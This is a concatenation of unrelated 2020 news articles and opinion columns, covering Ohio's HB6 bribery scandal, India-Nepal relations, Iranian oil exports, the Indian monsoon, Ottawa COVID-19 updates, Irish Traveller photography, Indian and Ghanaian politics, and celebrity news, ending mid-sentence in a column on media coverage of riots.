the largest bribery scheme ever perpetrated against the state of Ohio, by U.S. Attorney David DeVillers. Householder was indicted by a federal grand jury July 30. House Bill 6 was signed into law in July 2019. The bill, among other things, gives North Perrys Perry Nuclear Power Plant and Ottawa Countys Davis-Besse Nuclear Power Plant $150 million annually between 2021 and 2027. The funds are raised through charges paid by residential, commercial and industrial electric customers. Since the passage and signing of H.B. 6, information has come to light in the form of serious allegations of behind-the-scenes bribery and pay-to-play politics that were involved in the deliberations and passage of the bill, Democratic House leaders wrote in a statement. For these reasons, we respectfully protest the Houses passage of HB 6. The protest was signed by Minority Leader Emilia Strong Sykes of Akron, Assistant Minority Leader Kristin Boggs of Columbus, Minority Whip Rep. Paula Hicks-Hudson of Toledo and Assistant Whip Rep. Richard Brown of Canal Winchester. The Federal Bureau of Investigations criminal complaint and indictment disclosed that in early 2017 a 501(c)(4) organization was established by Householder and Company A and quarterly payments began to be made into the organization, they wrote in the protest. That year, three bills were introduced to bailout nuclear electric generating plants, though none of them progressed significantly. Then in April 2019, just a few months after Householder was selected speaker, House Bill 6 was introduced. The Democratic leaders stated in the protest the introduction of the bill was followed by three months of extensive committee hearings in the Ohio House. House Democrats not only expressed concern for the proposals policies but also frustration with how the committee hearings were allowed to be conducted. The Democrat House leaders stated in the protest they offered numerous amendments in committee and on the floor to improve H.B. 6, including provisions that would have required the nuclear facilities to demonstrate financial need in order to receive subsidies; establish stringent auditing procedures; keep clean air credit funding within the state; and maintain alternative energy standards and energy efficiency programs. All were rejected. All four letter signees voted against House Bill 6s passage (Brown voted in favor of the bill in a May 29 vote, but voted against the bill when it returned to House after amendments from the Ohio Senate). In the wake of Householders arrest, both Democrat and Republican state lawmakers have introduced bills seeking to repeal House Bill 6. Ohio House members voted unanimously July 30 to remove Householder from his role as speaker. Rep. John Rogers, D-Mentor-on-the-Lake, represents the district that neighbors the Perry plant. He voted in favor of the House Bill 6s passage. Rogers has expressed willingness to revisit the bill. In a statement released July 30 (the same day Householder was removed from office), Rogers said his vote for House Bill 6 was was an effort to prevent the adverse economic consequences to Lake County that might have occurred had this legislation failed, creating tremendous financial losses for employees and their families and crippling our communities and their ability to provide vital services. FirstEnergy Solutions, the owner of Ohios two nuclear plants, filed for bankruptcy in March 2018 and had plans to shut down both plants by 2021 if it did not receive subsidies. FirstEnergy Solutions officials emerged from Chapter 11 bankruptcy Feb. 27 of this year as Energy Harbor. Public school systems together with a multitude of taxing entities throughout Lake County and elsewhere would have suffered, Rogers said in his statement. All of this resulting from the closure of the Perry and Davis-Besse Nuclear Power plants. I simply was not going to vote against jobs that exist here in Lake County. I believed then and as I believe today that HB6 is far from perfect. I have encouraged revisiting this legislation to address many of the negatives within the bill as enacted and to be frank, support efforts to do so. Rogers added that the potential losses of the two nuclear power plants closing is staggering. Closing the plants would result in an estimated loss of approximately $550 million dollars annually in economic benefit generated by the operation of these two plants to all of Ohio, he said. A closure of these plants and the loss of revenues from property taxes, income taxes and sales taxes, both locally and state-wide, would have tremendously exacerbated the financial difficulties felt by so many today because of COVID-19. In addition to subsidizing the two nuclear plants, House Bill 6 also allows utilities to charge ratepayers up to $1.50 per month to subsidize two coal-powered electric plants run by Ohio Valley Energy Corp. One of those plants is in southern Ohio and the other is based in Indiana. By the end of 2020, House Bill 6 eliminates state electric mandates for energy efficiency, peak demand and the solar renewable portfolio standard carve-out. A solar carve-out is the part of a states renewable portfolio standard that sets a specific level of electricity to be generated from solar panels. Additionally, the renewable portfolio standard will be reduced and eventually eliminated by the end of 2026. The renewable portfolio standard is a requirement that a specified percentage of the electricity that utilities sell comes from renewable resources. An India-Nepal body overseeing the implementation of development projects funded by New Delhi is set to meet in Kathmandu next week, the first high-level contact between the two sides since ties were hit by a border row that erupted last year. The joint oversight mechanism, which was launched in 2016 and reviews progress in bilateral projects, is scheduled to hold a meeting on August 17, people familiar with developments said on condition of anonymity. The meeting between Indian envoy Vinay Mohan Kwatra and Nepals foreign secretary, Shanker Das Bairagi, who jointly chair the mechanism, is being seen by some quarters in Kathmandu as a positive development after the border row took relations to a new low. The mechanism will only focus on the implementation of India-funded projects in Nepal. However, it could help break the logjam in relations, said a person. A second person described the scheduled meeting of the mechanism as part of regular interaction between India and Nepal. He added, This oversight mechanism was set up in 2016 to review ongoing bilateral economic and development projects and meets on a periodic basis. During its seventh meeting in July last year, the mechanism reviewed the implementation of projects such as cross-border rail links, petroleum pipelines, roads, bridges, integrated border check posts, energy, irrigation, and post-earthquake reconstruction. The border row erupted late last year after Nepal objected to the inclusion of the Kalapani region, which is claimed by Kathmandu, in a new map showing the union territory of Ladakh that was issued by India. The row was exacerbated in May, when India opened a new road to the Lipulekh region on the border with Tibet, as this area, too, is claimed by Nepal. Nepal responded by issuing a new map that showed Kalapani, Lipulekh, and Limpiyadhura, which are all controlled by India, as part of Nepalese territory. Kathmandu also said New Delhi has not responded to several requests for talks on the border issue, though India said a meeting couldnt be arranged because of the Covid-19 pandemic. Nepals foreign minister Pradeep Gyawali told The Kathmandu Post on Tuesday: We dont have alternatives to talks...We cant hold our entire ties hostage to the differences over the boundary issue. Gyawali said Nepal is confident its partnership with India will move in a positive direction. For the time being, the boundary issues can be isolated...Differences over one issue should not overshadow our entire bilateral relations...We believe in constructive engagement, and the upcoming meeting is just one positive step towards that end, he added. In recent weeks, the two countries have also engaged in a war of words over the origins of historic figures such as Lord Ram and Gautam Buddha. Nepal on Sunday responded to external affairs minister S Jaishankars remarks that Gautam Buddha was one of the two greatest Indians for people around the world by saying historical and archaeological evidence shows the founder of Buddhism was born in Nepalese territory. India clarified that Jaishankar had referred to the shared heritage of the two countries. Last month, Prime Minister KP Sharma Oli sparked a controversy with his remarks that the real Ayodhya is in Nepal and that Lord Ram was Nepalese. He also said Nepal had become a victim of cultural encroachment and its history was manipulated. Following protests in India, the Nepal government clarified Olis remarks were not linked to any political subject and there was no intention...to hurt the feeling and sentiment of anyone. Nischal Pandey, director of the Kathmandu-based Centre for South Asian Studies, was quoted by the Nepalese media as saying: A weekly war of words between Indian and Nepali officials and subsequent issuance of clarifications does not bode well for bilateral ties. SHARE THIS ARTICLE ON From Russia with Love? Is Vladimir Putin going to bail out Donald Trump by delivering Russias COVID-19 vaccine to the US just in time for the presidential election? Could that be the reason why Trump during his July phone call with Putin didnt bring up the touchy matter of Russia putting a bounty on the heads of American troops in Afghanistan. Trump told Axios Jonathan Swan: That was a phone call to discuss other things, and frankly thats an issue that many people said was fake news. Lets shoot down that phony fake news bit. The New York Times reported Aug. 8 that Secretary of State Mike Pompeo warned Russian foreign minister Sergey Lavrov about paying bounties to the Taliban fighters. The CIA has placed medium confidence in the bounty story. Pompeo, who previously was CIA director, reportedly is livid about the bounty payments. That puts Pompeo squarely in the Joe Biden camp. The most critical and sacred obligation of a commander-in-chief is to protect those who serve our nation in harms way, said a statement from Biden spokesman Andrew Bates. But months after the U.S. intelligence community sounded the alarm to Donald Trump and to our allies that Russia was placing bounties on the heads of American servicemen and women in a war zone, our president continues to turn his back on those who put their lives on the line for our country, and on his own duty. Trump and Putin have spoken eight times this year, which is twice the number of conversations they had in 2019. What are they talking about? Trumps Moscow retirement plans? My hunch is that Trump is begging Putin to meddle once again in the US presidential election. A Russian COVID-19 vaccine may be the best way for Trump to rebound from his disastrous handling of the pandemic. The virus has killed more than 160K Americans and shattered the global reputation of the US. Unless Vlad comes through for his dear friend, Donald, COVID-19 may take the lives of another 140K Americans by the end of the year. Who are these people? A shockingly high 13 percent of Americans are satisfied with the state of the nation, somehow overlooking the raging COVID-19 pandemic, economic meltdown, racial inequality and the wave of impending evictions. That satisfaction rate is the lowest in the last nine years of polling by Gallup and down a whopping 32 points since February. The all-time low of seven percent came in October 2008 following a plunge in stock prices during the global financial crisis. Gallup found that Republicans are largely responsible for the recent plunge in satisfaction rates. Twenty percent of them are satisfied with the way things are doing today, down from 39 percent last month and 89 percent in February. GOPers though havent jumped off the Trump bandwagon, according to Gallup. Their dissatisfaction stems from the impact of COVID-19 on the economy and racial unrest, rather than the administrations botched handling of both matters. Iran is exporting a lot more crude oil than U.S. figures suggest, data from TankerTrackers.com has revealed, as reported by NBC News. According to the data, Iran is exporting as much as 600,000 barrels daily, using ship-to-ship transfers with transponders turned off to avoid detection, skirting U.S. sanctions. The daily average number compares with an estimate of 227,000 bpd made in a U.S. Congressional report, NBCs Raf Sanchez wrote on Twitter. TankerTrackers.com first reported in 2018, after President Trump reintroduced sanctions on Iranian exports, that Iranian tankers were turning off their transponders to hide the destination of their journeys. At the time, most tanker tracking data came precisely from transponders and port authorities, which made most Iranian tanker movement reports unreliable. Last year, a U.S. State Department official told media that the department was tracking ship-to-ship transfers and was working with other governments to ensure they, too, were keeping track of such moves that became one of few ways for Iran to still get its crude to foreign markets. Most of Irans oil is going to China one way or another. In fact, as Simon Watkins reported earlier this month for Oilprice.com, China has been stocking up on cheap Iranian crude. Citing an unnamed oil industry source close to Tehrans oil ministry, Watkins said China took in some 8.1 million barrels of Iranian oil between June 1 and July 21. Official reports from China said the country had not imported any Iranian crude in June. But not all Iranian oil reaches China directly from Iran, as TankerTrackers.coms co-founder Samir Madani told Oilprice.com earlier this year. As Oilprices Watkins notes in his recent report, citing Iranian sources in the know, much of it comes into China via Malaysia and, some of it, via Indonesia. The sanction-skirting move involves hanging a tankers registration documents that point to its origin and ownership to make it look like the oil comes from Malaysia or Indonesia. By Charles Kennedy for Oilprice.com More Top Reads From Oilprice.com: Northwest Indias monsoon deficiency, as of Tuesday, was 22% and Delhis, 34% , but that could change with the India Meteorological Department issued an intense rain warning for the region between August 12 and 15. The monsoon trough is likely to be active and meander around its normal position during the next 4-5 days. Convergence of strong southerly-south-westerly winds from Arabian Sea over northwest and adjoining central India is very likely during next 3-4 days, IMD said in a statement. A monsoon trough is a region of low pressure, passing from northwest India (Rajasthan) to the Bay of Bengal. When the trough is in its normal position, it passes from Ganganagar in Rajasthan , through parts of Uttar Pradesh and West Bengal to the Bay of Bengal. The monsoon trough is at its normal position. A low-pressure area is also forming over Bay of Bengal. The combination of two can bring intense rains. Rains have been variable in the last two to three days but now we are expecting more widespread rains, said RK Jenamani, senior scientist, national weather forecasting centre. A fresh low-pressure area is also likely to form over northwest Bay of Bengal around August 13. Due to these favourable conditions, heavy to very heavy rain is likely over major parts of northwest India (Western Himalayan region, Punjab, Haryana, Chandigarh, Delhi and Uttar Pradesh) during next 2-3 days, according to IMDs Tuesday bulletin. Very heavy rain is also very likely over Gujarat, East Rajasthan and parts of central India during August 11 to 15. Extremely heavy rain is also likely in some parts of Gujarat and east Rajasthan, over northern parts of Konkan and Goa, during August 14 to 15. Moderate to severe thunderstorm accompanied with lightning is likely over Bihar, east Rajasthan and west Uttar Pradesh during next 24 hours. IMD has issued an orange category warning for Punjab, Haryana, Chandigarh, Delhi, east and west Uttar Pradesh, Gujarat, east and west Madhya Pradesh, Vidarbha and Chhattisgarh for August 12. An orange category warning implies that disaster management authorities should prepare for any rain or flooding related disasters. Advertisement These stunning black-and-white photographs offer a unique glimpse into the lives of traveller children in Ireland. American photographer Jamie Johnson has been travelling around the world for 20 years and is best known for her portraits of children. Johnson has released a new book, entitled 'Growing Up Travelling: The Inside World of Irish Traveller Children', which shows girls no older than eight posing with cigarettes and holding designer bags, a boy holding his fist in a fighting pose, and young girls wearing make-up and glamorous clothes. The photographer contacted MailOnline to insist that the cigarettes were not real. When she came to Ireland for the first time in 2014, she immediately felt connected to the Irish Traveller community and would visit and photograph them time and again for five years. The photographs were taken in Galway, Limerick, Cork and Tipperary, Ireland. Three young traveller girls, no older than eight years old, sit outside a barber shop in Ireland, two of them wearing flashy rings, one posing with a cigarette and another holding on to a Gucci bag A young boy stands in front of an older man with his fist raised outside a traditional traveller caravan in Ireland in this photograph from US photographer Jamie Johnson A group of traveller girls stand in front of a caravan with one of them looking at the camera while posing with a cigarette at the camera in this picture by US photographer Jamie Johnson A young lad stands with a mouth covered with ice cream and a baby takes a bath in a washing bowl in these photographs captured by US-based photographer Jamie Johnson, who spent five years getting to know an Irish traveller community In a previous interview with Mail Online, Johnson said that after living alongside the traveller community she came away with the impression of a 'very proud' group of people, who are strong in their faith and their commitment to family. There are an estimated 25,000 travellers in Ireland, who have a history in culture dating back to pre-Celtic times. An extract from the book explains the origins of Traveller culture and their role in contemporary Irish society. 'Travellers are members of a historically nomadic and non-literate ethnic minority that has existed on Irelands margins for centuries,' the book reads. 'As a result of decades of pressure from the Irish authorities, Travellers today tend to live in houses in Irish towns and cities, though some still halt (settle seasonally, either legally or illegally) in caravans or other mobile structures for some or most of the year in both serviced and unserviced sites on the urban periphery. A group of young traveller boys wrestle with a pony to stop it running away in this photograph by US photographer Jamie Johnson Four young traveller girls wearing glamorous clothing pose for a picture taken by US photographer Jamie Johnson, who spent five years photographing the community in Ireland An older traveller girl applies make up to a younger girl in a caravan in this picture taken by US photographer Jamie Johnson during her time in Ireland A young girl poses for a photograph as another feeds a greyhound in this image taken by US-based photographer Jamie Johnson, who gained the trust of an Irish traveller community 'Nevertheless, and because of the distinct cultural practices the tradition of travelling accreted over many generations, the term Traveller is applicable even when the nomadic way of life has effectively been abandoned. 'The 2016 Census for the Republic of Ireland documents a population of 30,987 Irish Travellers, representing 0.7 per cent of the general population. For many generations, Travellers provided seasonal farm labour, horse-trading, hawking, entertainment and smithing services to both urban and rural populations. 'These functions held a good degree of value in an earlier Ireland in which rural communities were isolated and in which the uses that might be made of urban space were less restricted. 'Contemporary Travellers share common descent and history and possess discrete cultural practices: boundary rules against outsiders, strict gender roles, an aspiration to be mobile, an adaptive tradition of self-employment and involvement in marginal trades, a preference for flexibility of occupation over job security, a pattern of providing short-term labour in accordance with market demands, adherence to Catholicism involving public displays of religiosity, early school-leaving, early marriage and substantial dowry payments when the families are affluent, unique material and oral cultures, a tradition of meeting with other Travellers at certain major annual festivals, and distinct rituals of death and cleansing. ' Many of the pictures were taken at the Ballinasloe Horse Fair and Festival, which attracts travellers from all over Ireland and Europe to trade puppies and horses. A young lad with a blackened left eye poses for a photograph taken by US photographer Jamie Johnson, after she spent five years gaining the trust of an Irish traveller community Two young Irish traveller boys and a greyhound stand outside a caravan in this photograph taken by US-based photographer Jamie Johnson Two young Irish traveller girls pose in this picture taken by US-based photographer Jamie Johnson, who spent five years gaining the trust of a group of traveller communities in Ireland A young Irish traveller girl stares out of the window in this picture taken by US-based photographer Jamie Johnson, who spent five years gaining the trust of a group of traveller communities in Ireland The fair represents an opportunity for teenaged travellers to meet their future spouses, and in one photograph a pair of girls are seen meticulously applying each others makeup so that they look their best in case they happen to meet their future husband. Jamie told Mail Online: 'They hope to find good husbands for their daughters in their community to carry on travellers traditions. 'This warm generous family-orientated community seeks good lives for their children, and has great hopes for their community.' The photographer spent time getting to know the families, at first gaining their trust with 'a few introductions and lots of smiling'. Four traveller toddlers look suspiciously at the camera as their mothers chat in the background in this photograph by US photographer Jamie Johnson, who spent five years following the community in Ireland A young traveller girl pets a horse in this photograph taken by US photographer Jamie Johnson. Horse ownership is considered one of the last links to the community's nomadic way of life A young traveller girl stands at the back of a caravan in this picture by US-based photographer Jamie Johnson, who spent time getting to know a group of Irish travellers over the course of five years Three Irish traveller children stand in front of a caravan in this photograph captured by US-based photographer Jamie Johnson She spent some time shopping with the women and playing with the children - even letting them try out her fancy cameras. 'The community works to carry on their family culture and traditions through many generations by telling all the wonderful stories of their grandparents' and great-grandparents' travels,' she said. 'They seek equality and hope to rid of for the next generation of the extreme prejudice that has faced theirs.' To see more of Jamies work, vist: www.jamiejohnsonphotography.com. What you need to know about COVID-19 in Ottawa on Tuesday, Aug. 11 Recent developments: What's the latest? With six newly confirmed cases and another six deemed resolved, the number of active COVID-19 cases in Ottawa remained stable at 146 Tuesday. However, the number of COVID-19 patients in Ottawa hospitals jumped to 15, the highest number since mid-June. School boards in Quebec and Ottawa updated their plans for September on Monday, but many parents say they still don't know if they feel safe sending their kids back to class. WATCH | Thoughts from an OCDSB Grade 3 parent Multiple Royal Canadian Legions in eastern Ontario say they're on the brink of bankruptcy or permanent closure since they've been unable to rent out halls or hold fundraisers in the pandemic. How many cases are there? There have been 2,656 confirmed cases of COVID-19 in Ottawa since the pandemic began and 264 people have died of the respiratory illness. The majority of cases in the city 2,246 are classified as resolved. In all, public health officials have reported nearly 4,100 cases across eastern Ontario and western Quebec, with more than 3,500 cases resolved. COVID-19 has killed 102 people in the region outside Ottawa: 52 in Leeds, Grenville and Lanark counties, 17 in other parts of eastern Ontario and 33 in the Outaouais. Experts analyzing blood tests said last week the number of people infected with the coronavirus in Ontario could be four times more than previously confirmed and in Quebec, more than twice as many. What's open and closed? Ottawa is in Stage 3 of Ontario's reopening plan, which means more businesses are open including dine-in restaurants and movie theatres. Indoor gatherings of up to 50 people and outdoor gatherings of up to 100 are now allowed in that province but attendees must follow physical distancing guidelines. Quebec has similar rules, with its cap on physically distanced gatherings in public venues now up to 250 people, allowing smaller festivals. The Canada Science and Technology Museum reopens Friday and the Canadian Museum of Nature Sept, 5, following other national museums. Story continues Francis Ferland/CBC Most Ottawa Public Library branches will be open for in-person browsing and computer use next week. Elementary students in Ontario will be heading back to school full time come September, while most high school students will split their time between the classroom and online learning, depending on the board. Individual boards have started to release further guidance. Distancing and isolating The novel coronavirus primarily spreads through droplets when an infected person coughs or sneezes on another person or object. People don't need to have symptoms to be contagious. That means physical distancing measures such as working from home, meeting others outdoors as much as possible and keeping distance from anyone they don't live with or have in their circle, including when you have a mask on. Masks are now mandatory in indoor public settings in all of eastern Ontario and Quebec, where transit officials and taxi drivers are now required to bar access to users over age 12 who refuse to wear one. Masks are also recommended outdoors when you can't stay the proper distance from others. Michel Aspirot/Radio-Canada Anyone who has symptoms or travelled recently outside Canada must self-isolate for at least 14 days. Anyone waiting for a COVID-19 test result in Ontario must self-isolate at least until they know the result. Quebec asks people waiting to only self-isolate in certain circumstances. People in both provinces should self-isolate if they've been in contact with someone who's tested positive or is presumed to have COVID-19. WATCH | Q&A on changes to the testing strategy Ontario's Chief Medical Officer of Health strongly urges self-isolation for people with weakened immune systems and OPH recommends people over 70 stay home as much as possible. Top medical officials say people should be prepared for the possibility COVID-19 restrictions last into 2022 or 2023. What are the symptoms of COVID-19? COVID-19 can range from a cold-like illness to a severe lung infection, with common symptoms including fever, a dry cough, vomiting and the loss of taste or smell. Less common symptoms include chills, headaches and pinkeye. Children can develop a rash. If you have severe symptoms, call 911. Where to get tested In eastern Ontario: In Ottawa any resident who feels they need a test, even if they are not showing symptoms, can be tested at one of three sites. Inuit in Ottawa can call the Akausivik Inuit Family Health Team at 613-740-0999 for service, including testing, in Inuktitut or English on weekdays. Chris Wattie/The Canadian Press In the Eastern Ontario Health Unit area, there is a drive-thru centre in Casselman that can handle 200 tests a day and assessment centres in Hawkesbury and Winchester that don't require people to call ahead. Others in Alexandria, Rockland and Cornwall require an appointment. In Kingston, the Leon's Centre is hosting the city's test site. Find it at Gate 2. Napanee's test centre is open daily for people who call for an appointment. You can arrange a test in Bancroft, Belleville or Trenton by calling the centre and in Picton by texting or calling. WATCH | New mobile test aims to identify sick employees on the job The Leeds, Grenville and Lanark unit asks you to get tested if you have a symptom or concerns about exposure. It has a walk-in site in Brockville at the Memorial Centre and testing sites in Smiths Falls and Almonte which require an appointment. There are test clinics in five Renfrew County communities this week. Its residents should call their family doctor and those without access to a family doctor can call 1-844-727-6404 to register for a test or if they have health questions, COVID-19-related or not. In western Quebec: Outaouais residents now can get a walk-in test in Gatineau five days a week at 135 blvd. Saint-Raymond and at recurring clinics by appointment in communities such as Gracefield, Val-des-Monts and Fort-Coulonge. They can call 1-877-644-4545 to make an appointment or if they have other questions. As of mid-August, there were longer wait times for test results here compared to some other regions of Quebec. Frederic Pepin/Radio-Canada First Nations: Local communities have declared states of emergency, put in a curfew or both. Akwesasne has had 14 confirmed COVID-19 cases. Most are linked back to a gathering on an island with a non-resident who wasn't showing symptoms at the time. It has a mobile COVID-19 test site available by appointment only. Anyone returning to the community on the Canadian side of the international border who's been farther than 80 kilometres away is asked to self-isolate for 14 days. It's 100 miles or 160 kilometres away on the American side. Anyone in Tyendinaga who's interested in a test can call 613-967-3603 to talk to a nurse. Face coverings are now mandatory in its public buildings. People in Pikwakanagan can book an appointment for a COVID-19 test by calling 613-625-2259. Kitigan Zibi is planning for an Aug. 29 election with changes depending on the status of the pandemic at that time. It plans on starting to open schools and daycares next month. For more information NPP Deputy Communications Director, Kamal Deen has hailed his party saying they are the competent managers of the economy. According to him, despite inheriting a poor economy from previous Mahama government, the NPP have performed better and also well managed the COVID-19 situation in the country. Speaking on UTV, Kamal Deen touted President Akufo-Addos achievement saying the good work of President Akufo-Addo even in the midst of Covid-19 still proves that the economy is very strong. NPP has always been the better managers of the economy. We have proven beyond reasonable doubt that indeed we are capable of managing the Ghanaian economy, therefore requesting four more for Nana means we can truly deliver. We have a message and we are solid, that is why we are appealing to Ghanaians to give President Akufo-Addo four more years to do more, he added. Source: Josephine Acheampomaa/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Pranab Mukherjee or Pranab da was the President of India from 2012 to 2017. The 84-year-old was detected with COVID-19 on Monday when he was tested prior to the surgery to remove a brain clot. In fact, Mukherjee himself tweeted about his COVID status and urged people who had come in contact with him in the last one week to isolate and get tested for the virus. A powerful orator, scholar and a statesman, Mukherjee had been a Congress stalwart before he was elected as India's 13th President. Prior to this he had held the posts of defence, finance, external affairs, commerce, shipping, industries ministers during the Congress and UPA regimes from time to time. In fact, he was the Best Finance Minister in World, according to a survey of Euro money magazine in 1984. He had entered politics and the Indian Parliament in 1969 after former Prime Minister Indira Gandhi helped him enter Rajya Sabha on a Congress ticket. He soon went on to become Mrs Gandhis most trusted man and a minister in her cabinet in 1973. He was re-elected in Rajya Sabha in 1975, 1981, 1993 and 1999. An important leader for the Congress party, Mukherjee was the go to man for all senior to junior party leaders till the time he was sidelined by Mrs Gandhis son Rajiv Gandhi following her assassination in 1984. Mukherjee drifted away and formed his Rashtriya Samajwadi Congress which he later merged back to the Congress in 1989 after truce with Rajiv. Rajiv Gandhis assassination brought Pranab Mukherjee back to limelight as former PM, PV Narsimha Rao handed him the responsibility of the Planning Commission (1991) and Foreign Affairs Ministry (1995). Later, he strongly backed Sonia Gandhi and guided her as she entered the Congress as an active politician in 1998. Mr Mukherjee contested Lok Sabha elections for the first time in 2004 when the UPA came to power. As a skillful administrator and seasoned politician, Mukherjee used to preside over cabinet meetings in the absence of Prime Minister Dr Manmohan Singh. Known as man for all seasons, Mukherjee played a crucial role in getting through the controversial Indo-US nuclear deal 123 Agreement and earning an exemption for India from the Nuclear Suppliers Group. Mukherjee remains popular in both India and Bangladesh for his family connection his wife late Suvra Mukherjee was born and brought up in Narail in Bangladesh before moving to Kolkatta at the age of 10. Bangladesh had in 2013 honoured Mukherjee with Bangladesh Muktijuddho Sanmanona for his contribution to the Liberation War in 1971 as a "foreign friend". He was awarded Padma Vibhusan in 2008 and Bharat Ratna in 2019. FENTON, MI -- The $500 first-place prize for Michigans best mullet has been awarded to Brian Big Country Zuckschwerdt of Saginaw. This is the coolest trophy that Ive ever won in my life, Zuckschwerdt, 28, said. Ben Affleck is showing his younger girlfriend what American muscle is all about... well when it comes to cars at least. The 47-year-old actor arrived in style picked Ana de Armas from a photoshoot in Malibu driving his beloved 1966 V8 Chevrolet Chevelle SS on Sunday. However, Ben did not leave as looking quite as cool as when he arrived as he had to jump start the vehicle before driving off. American muscle: Ben Affleck arrived in style picked Ana de Armas from a photoshoot in Malibu driving his beloved 1966 V8 Chevrolet Chevelle SS on Sunday The Oscar winner was prepared as he brought out a jumpstarter which he keeps in the backseat of the vehicle. Ana stayed by the A-lister's side as he opened the hood of his car and placed the cables on the battery which helped the engine turn. The two - who each wore face masks - then hopped in his beloved car before driving off. Uh oh: However, the 47-year-old did not leave as looking quite as cool as when he arrived as he had to jump start the vehicle before driving off Ana and Ben first met in the fall of 2019 on the set of their erotic thriller Deep Water, which will be released in theaters on November 13. But rumors of romance did not start circulating around the pair until they were spotted on vacation in Ana's native Cuba in March. Since then, the pair have been regularly spotted out near his Brentwood home, and has even become friendly with his children that he shares with ex wife Jennifer Garner, 48. On-the-go: The two - who each wore face masks - then hopped in his beloved car before driving off In June, Ana was seen hanging out with his kids Samuel, eight, and daughter Seraphina, 11, and later was also pictured with his 14-year-old daughter Violet. Affleck and Garner were married from 2005 until their divorce in 2018. Ana and Ben's loved up outing comes just days after it was revealed that Jennifer and her boyfriend John Miller had split 'earlier in the year' after nearly two-years of dating, as reported by InTouch. Former flame: Affleck was previously married to fellow actor Jennifer Garner, 48, whom he divorced in 2018; Jennifer and Ben pictured in 2013 Aside from his flourishing personal life, Deadline revealed that Ben is set to direct The Big Goodbye for Paramount Pictures. The film will go behind the scenes of the production of 1974's Chinatown starring Jack Nicholson and Faye Dunaway. Affleck is also set to write and produce The Big Goodbye, which will be an adaptation of Sam Wasson's book The Big Goodbye: Chinatown and the Last Years of Hollywood. Chief Minister Sarbananda Sonowal on Tuesday termed as "unfortunate" the All Assam Students' Union (AASU) making public the confidential report on Clause 6 of Assam Accord by the Centre's high-level committee. Assuring that the state government is committed to implement the said provision of the 1985 agreement, Sonowal in a statement said, the BJP-led government will not do anything that will harm the interests of the people. As per Clause 6, Constitutional, legislative and administrative safeguards, as may be appropriate, shall be provided to protect, preserve and promote the culture, social, linguistic identity and heritage of the Assamese people. The bone of contention since the signing of the pact on August 15, 1985 has been the definition of Assamese people, which the committee tried to fix as the tribal, indigenous and all other Indian citizens residing within the territory of Assam as per the First Schedule of the Constitution on or before January 1, 1951 along with their descendants. On February 25, the high-level committee on the implementation of clause 6 had submitted the report to the chief minister for handing it over to Union Home Minister Amit Shah. The report sought to implement the Assam Accord in letter and spirit, and also asked the government for prompt measures to seal the India-Bangladesh border. Acknowledging the receipt of the report in February, Sonowal said, the coronavirus pandemic has been stalling the day-to-day affairs of people worldwide since then due to nationwide lockdown and subsequent restrictions. "Even though the state government is battling against flood, erosion, landslides, storm, African swine fever,Baghjan gas well fire etc along with COVID-19 today, the government continues its efforts sincerely to implement Clause 6 of the agreement. "Simultaneously the Central government is also taking steps in this regard. Therefore, without giving a definite timeframe, disclosing the report of the committee is very unfortunate," the chief minister stated. The Assam government from the beginning has been taking steps for safeguarding the interests of the people through consultation and suggestion and it will "not do anything keeping the people in the dark", he added. Without specifying, Sonowal said, "Certain political forces in the state do not wish the implementation of the Accord to take place. However, the present state government sincerely desires its implementation." The BJP-led state government would not let the sacrifices of the martyrs of Assam movement go in vain and that is why the centre formed a high level committee headed by retired justice Biplob Kumar Sarma, the chief minister added. In a surprising move, the AASU, which was a part of the centre's high-level committee on clause 6 of Assam Accord, on Tuesday released the report saying that the public has the right to know the contents after more than five months of submitting it officially. The AASU and another committee member Nilay Dutta, who is the advocate general of Arunachal Pradesh, addressed a joint press conference and said they were releasing it only because the "government is just sitting idle". Sonowal also blamed AASU for breakdown of the earlier committee in January last year as AASU had backed out from it after the Centre had introduced the Citizenship (Amendment) Bill in Lok Sabha. "The AASU leadership did not respond to the central government's move. Though the government took oral consent from all the members prior to the constitution of the committee, several members resigned from the committee and asa result the entire process got stuck," he added. The Union Home Ministry had formed the committee headed by retired Union secretary MP Bezbaruah, but six of the nine members declined to be part of it, following which the panel was reconstituted on July 16, 2019 with 14 members and Justice BK Sharma as its chairman. Earlier, another high-level committee with bureaucrat GK Pillai as the chief was constituted for Assam Accord implementation when the NDA headed by former Prime Minister Atal Behari Vajpayee was in power at the centre, but not much progress was made by it. (Natural News) Just a few weeks ago the idea of peaceful riots would have seemed absurd, but the American media is nothing if not inventive these days. Earlier this week, ABC News reported, Protesters in California set fire to a courthouse, damaged a police station and assaulted officers after a peaceful demonstration intensified. Legal scholar Eugene Volokh wonders how this terminology would work in the real world: You are being charged with an intensified peaceful demonstration, in the second degree. How do you plead? (Article by Mark Hemingway republished from RealClearPolitics.com) Indeed, the medias commitment to tempering their descriptions of violent riots sweeping the nation as mostly peaceful is relentless that particular phrase has become a media cliche practically overnight. Of course, Americas police officers could also be accurately described as mostly peaceful, but any journalist who dared to give cops the same generous benefit of the doubt would likely cause a riot in their own newsroom. Thats why it was almost shocking to read an Associated Press report earlier this week from reporter Mike Balsamo, who embedded with federal law enforcement protecting the Mark O. Hatfield courthouse in downtown Portland. I watched as injured officers were hauled inside. In one case, the commercial firework came over so fast the officer didnt have time to respond. It burned through his sleeves and he had bloody gashes on both forearms. Another had a concussion from being hit in the head with a mortar, Balsamo reported. The lights inside the courthouse have to be turned off for safety and the light from high-powered lasers bounced across the lobby almost all night. The fear is palpable. Three officers were struck in the last few weeks and still havent regained their vision. Despite the obvious evidence of organized violence, Balsamos report is about the only good-faith effort from the national press attempting to inform the public about the current plight of law enforcement. Meanwhile, the media have spent weeks going out of their way to portray rioters as unambiguous freedom fighters. When protesters in Portland organized a Wall of Moms to stand between federal marshals protecting the courthouse and the rioters throwing bricks and shooting fireworks, it prompted gushing media coverage. Columnist Jonathan Alter called the Wall of Moms a brilliant tactic that may forever change social protest, apparently unaware that groups such as Hamas have been cynically using human shields for decades. Following their 15 minutes of fame, you will not be surprised to learn that the group has descended into Judean Peoples Front infighting over the leaders allegedly insufficient fealty to Black Lives Matter. In spite of media wish-casting, the Wall of Moms was never a morally serious effort. Naturally, the big beneficiaries of this one-sided media narrative about riots are Democratic Party politicians. On Wednesday, acting Secretary of Homeland Security Chad Wolf announced that the federal government had reached a deal with the city of Portland to downsize the federal law enforcement presence at the courthouse that was clashing with protesters. However, Wolfs statement made it clear that the deal was contingent on the city stepping up its own police presence to protect the building, 